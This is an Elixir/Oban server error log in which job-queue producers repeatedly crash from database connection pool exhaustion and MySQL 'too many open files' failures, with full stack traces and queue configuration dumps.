[Sat Sep  5 22:55:51.245000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:55:39.243321Z], limit: 50, uuid: "1f8019f3-1689-4e9f-a0ba-f0acd9fdba3a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:39.243327Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.243667>, refresh_timer: #Reference<0.2525715032.1099169794.251178>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:51.246000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:55:39.237359Z], limit: 5, uuid: "24968bb0-1402-482d-958b-4948c35374f5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:39.237369Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.243665>, refresh_timer: #Reference<0.2525715032.1068236804.243579>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:51.245000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:55:39.243410Z], limit: 20, uuid: "3be7569a-7775-4047-a177-9fff5879a397", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:39.243415Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.243664>, refresh_timer: #Reference<0.2525715032.1068236804.243638>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1059ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:55:39.247045Z], limit: 10, uuid: "4ec9da09-5cd1-4d47-ad00-7a987c22becb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:39.247051Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.243669>, refresh_timer: #Reference<0.2525715032.1077411843.225697>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:53.909000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:54.110000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:54.440000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:58.467000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:00.457000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:55:51.248761Z], limit: 50, uuid: "fac1c3f3-2c2d-41b1-b643-2481b5a62a30", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:51.248826Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.244039>, refresh_timer: #Reference<0.2525715032.1121189889.100447>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:03.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:55:51.238791Z], limit: 3, uuid: "3c2a57c3-5090-4fd1-8315-80b9e390e047", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:51.238801Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.244042>, refresh_timer: #Reference<0.2525715032.1077411843.225815>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:03.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1003ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:55:51.248628Z], limit: 5, uuid: "8de3be54-78fe-4ad3-aef4-3403dc6939f2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:51.248634Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.244038>, refresh_timer: #Reference<0.2525715032.1121189889.100445>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1095ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:55:51.253863Z], limit: 10, uuid: "a520d281-5333-4024-8798-95e0a8e307ee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:51.253870Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.244040>, refresh_timer: #Reference<0.2525715032.1099169794.251381>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:03.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:55:51.250382Z], limit: 20, uuid: "88f5be10-f734-4daa-b5e7-1acbb17fd05e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:51.250403Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, 